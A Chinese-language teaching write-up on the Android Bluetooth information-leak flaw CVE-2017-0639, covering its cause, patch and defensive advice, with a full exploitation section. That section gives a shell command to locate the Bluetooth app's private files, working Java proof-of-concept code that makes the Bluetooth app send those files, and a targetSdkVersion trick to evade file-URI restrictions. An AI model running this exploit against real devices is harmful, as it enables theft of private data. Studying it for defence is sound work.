蓝牙App漏洞系列分析之二CVE-2017-0639
字数 1395 2025-08-22 18:37:22
Android蓝牙App信息泄露漏洞分析(CVE-2017-0639)教学文档
0x01 漏洞概述
CVE编号: CVE-2017-0639
BugID: A-35310991
漏洞类型: 信息泄露
严重性: 高危
影响版本: Android 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2
该漏洞允许攻击者通过蓝牙功能获取蓝牙应用的私有文件,绕过了Android沙箱机制提供的应用数据隔离保护。
0x02 漏洞背景
该漏洞属于"针对具有对外发送或共享功能App的攻击"类型,与之前发现的:
- CVE-2017-0420 (AOSP邮件信息泄露)
- CVE-2017-0414 (AOSP短信信息泄露)
属于同一类漏洞,都是由于应用在对外发送文件时未对文件来源进行充分验证导致的。
0x03 漏洞原理
攻击面分析
蓝牙是Android系统中重要的信息分享渠道,通过BluetoothOppLauncherActivity处理文件发送请求:
- 该Activity响应
Intent.ACTION_SEND或Intent.ACTION_SEND_MULTIPLE - 启动线程处理单个或多个文件的发送
- 调用
saveSendingFileInfo保存文件信息
关键问题
- 文件URI处理:支持
content://和file://两种URI方案 - 缺乏验证:未检查传入的文件是否属于蓝牙应用的私有目录
- 权限绕过:虽然SDK 23+限制了
file://URI的传递,但通过降低targetSdkVersion可绕过
漏洞利用条件
- 攻击者需要能够构造并发送特定Intent
- 需要知道蓝牙应用的私有文件路径
- 需要将应用的targetSdkVersion设置为23或以下
0x04 漏洞利用
步骤1:识别蓝牙私有文件
通过以下命令查找蓝牙应用拥有的私有文件:
find /data -user bluetooth -exec ls -al {} \; 2> /dev/null
常见私有文件:
/data/user_de/0/com.android.bluetooth/databases/btopp.db/data/misc/bluedroid/bt_config.conf
步骤2:构造PoC
public class MainActivity extends AppCompatActivity {
Button m_btnSendPriv = null;
Button m_btnSendMPriv = null;
private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db";
private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
m_btnSendPriv = (Button) findViewById(R.id.send_private);
m_btnSendPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setType("text/plain");
Uri uri = Uri.parse(PRIV_FILE_URI1);
intent.putExtra(Intent.EXTRA_STREAM, uri);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
m_btnSendMPriv = (Button) findViewById(R.id.send_private_multiple);
m_btnSendMPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
intent.setType("text/plain");
ArrayList<Uri> uris = new ArrayList<Uri>();
uris.add(Uri.parse(PRIV_FILE_URI1));
uris.add(Uri.parse(PRIV_FILE_URI2));
intent.putExtra(Intent.EXTRA_STREAM, uris);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
}
}
步骤3:绕过FileUriExposed限制
在build.gradle中将targetSdkVersion设置为23或以下:
android {
defaultConfig {
targetSdkVersion 23
}
}
0x05 漏洞修复
根本修复方案
- 在
generateFileInfo方法中添加对文件路径的验证 - 禁止访问私有目录文件
- 强制使用
content://URI方案
补丁关键点
- 检查传入的文件路径是否属于蓝牙应用私有目录
- 拒绝处理不符合要求的文件URI
- 完善错误处理机制
0x06 防御建议
-
应用开发:
- 对外共享文件时使用
FileProvider - 验证传入的文件路径
- 保持targetSdkVersion为最新
- 对外共享文件时使用
-
系统防护:
- 及时更新安全补丁
- 监控异常的文件访问行为
- 加强沙箱隔离机制
-
用户防护:
- 仅从可信来源安装应用
- 关注系统更新通知
- 谨慎授予文件访问权限
0x07 总结
该漏洞展示了Android沙箱机制中的一个典型问题:当应用同时具备文件访问和对外共享功能时,如果没有严格的路径验证,就可能破坏应用间的数据隔离。开发者在实现类似功能时,应当充分考虑各种边界情况,确保不会意外暴露敏感数据。